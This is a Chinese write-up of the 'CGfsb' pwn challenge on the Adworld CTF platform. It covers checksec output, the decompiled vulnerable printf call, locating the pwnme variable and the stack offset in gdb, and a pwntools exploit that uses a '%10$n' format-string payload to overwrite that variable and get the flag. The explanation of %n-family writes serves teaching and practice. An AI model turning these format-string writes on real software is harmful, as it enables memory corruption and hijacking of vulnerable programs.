攻防世界pwn——CGfsb

分析

猜测是printf漏洞 

checksec检查

32位程序

Pratial RELRO 可以修改got表

Canary found 不能直接用溢出的方法覆盖栈中返回地址

NX enabled 栈中的数据没有执行权限

No PIE (0x8048000) 没有开启地址随机化,基地址0x8048000

IDA分析

int __cdecl main(int argc, const char **argv, const char **envp)
{_DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF__int16 v5; // [esp+26h] [ebp-76h]char s[100]; // [esp+28h] [ebp-74h] BYREFunsigned int v7; // [esp+8Ch] [ebp-10h]v7 = __readgsdword(0x14u);setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);buf[0] = 0;buf[1] = 0;v5 = 0;memset(s, 0, sizeof(s));puts("please tell me your name:");read(0, buf, 0xAu);puts("leave your message please:");fgets(s, 100, stdin);printf("hello %s", (const char *)buf);puts("your message is:");printf(s);if ( pwnme == 8 ){puts("you pwned me, here is your flag:\n");system("cat flag");}else{puts("Thank you!");}return 0;
}

有printf函数,第一个参数对应的是输入的是name,也就是从name值的位置开始找偏移

pwnme==8时得到flag,找到pwnme地址0x0804A068

gdb动态调试

在printf处下断点,运行

查看栈 

 直接数有10行,偏移为10

exp

from pwn import *	
p=remote('61.147.171.105','58032')
p.recvuntil('please tell me your name:')
p.sendline('aaa')
p.recvuntil('leave your message please:')
payload=p32(0x0804A068)+'bbbb'+'%10$n'
# payload=p32(0x0804A068)+'%4c%10$n'
# p32会将pwnme的地址转化成四个字节的小端序字符,再补充四个字节,一共8字节写入偏移后地址
p.sendline(payload)
p.interactive()

格式化字符串%n:到目前为止所写的字符数(也就是一个int值)

除了%n还有%hn、%hhn、%lln,分别为写入目标空间2字节,1字节,8字节,这里的字节对应的是参数的地址开始的几字节。

关于格式化字符串漏洞的介绍:

格式化字符串漏洞及利用_萌新食用 - 知乎 (zhihu.com)

(22条消息) C语言常见漏洞-格式化字符串漏洞_I still …的博客-CSDN博客_c语言格式化字符串漏洞


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部